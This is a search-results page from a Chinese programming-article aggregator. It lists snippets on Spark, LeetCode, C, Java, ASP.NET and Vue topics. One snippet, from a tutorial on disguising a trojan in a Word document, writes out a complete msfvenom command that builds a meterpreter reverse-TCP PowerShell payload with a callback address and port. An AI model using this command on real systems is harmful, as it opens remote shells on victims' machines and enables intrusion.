码迷,mamicode.com
首页 >  
搜索关键字:word length    ( 36649个结果
03 Spark RDD编程基础
1. 准备文本文件从文件创建RDD lines=sc.textFile()筛选出含某个单词的行 lines.filter()lambda 参数:条件表达式 2. 生成单词的列表从列表创建RDD words=sc.parallelize()筛选出长度大于2 的单词 words.filter() ...
分类:其他好文   时间:2021-03-30 13:18:46    阅读次数:0
[LeetCode] 1089. Duplicate Zeros 复写零
Given a fixed length array arr of integers, duplicate each occurrence of zero, shifting the remaining elements to the right. Note that elements beyond ...
分类:其他好文   时间:2021-03-30 12:46:57    阅读次数:0
剑指 Offer 58 - I. 翻转单词顺序
思路:双指针从后往前遍历,根据第一个遇到的空格划分单词,使用StringBuilder拼接。 贴一下从后往前最后一个单词怎么拼接: 1.如果首位为字母,while(i >= 0 && s.charAt(i) != ' '),i为-1时进行拼接然后跳出大循环。 2.如果首位为空格,也类似,只是不用拼接 ...
分类:其他好文   时间:2021-03-29 12:24:40    阅读次数:0
实验1 C语言开发环境使用和编程初体验
实验任务1 #include <stdio.h> int main() { printf(" 0 \n"); printf("<n>\n"); printf("I I\n"); printf("\n"); printf(" 0 \n"); printf("<n>\n"); printf("I I\n ...
分类:编程语言   时间:2021-03-18 14:31:02    阅读次数:0
Java注释
单行 多行 文档 public class HelloWorld { public static void main (String [] args) { //output hello world /* output hello world */ /** * @description hellowo ...
分类:编程语言   时间:2021-03-18 14:20:10    阅读次数:0
Powershell配合word伪装木马执行
环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPORT=1122 -f psh-reflection >x.ps1 ? 放到VPS上,这里我们放到本机搭 ...
分类:系统相关   时间:2021-03-18 14:14:35    阅读次数:0
Java判断字符串是否为空
思路:判断某字符串是否为空,为空的标准是str==null或str.length()==0一.空字符串与null区别1、类型 null表示的是一个对象的值,而并不是一个字符串。例如声明一个对象的引用,String a = null ;""表示的是一个空字符串,也就是说它的长度为0。例如声明一个字符串 ...
分类:编程语言   时间:2021-03-17 14:48:23    阅读次数:0
web报错 文件上传“超过了最大请求长度”
原因:asp.net默认最大上传文件大小为4M,运行超时时间为90S。 修改web.config文件可以改变这个默认值 <configuration> <system.web> <httpRuntime maxRequestLength="1048576" executionTimeout="360 ...
分类:Web程序   时间:2021-03-17 14:07:55    阅读次数:0
分页操作
传入参数 AcurrentPage当前第几页 APageSize一页多少条 AALLtableData 要本分页的原数组 aa分页后条数数组 lat aa=this.pagination(this.AcurrentPage, this.APageSize, this.AALLtableData); ...
分类:其他好文   时间:2021-03-16 14:05:28    阅读次数:0
vue watch监听全局的projectCode
Vue下的watch监听 2018-10-15 本文记录一下项目中的watch的用法 watch监听全局的projectCode 12345678910111213141516171819202122232425262728 mounted() { this.$nextTick(() => { // ...
分类:其他好文   时间:2021-03-16 13:59:27    阅读次数:0
36649条   上一页 1 ... 31 32 33 34 35 ... 3665 下一页
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!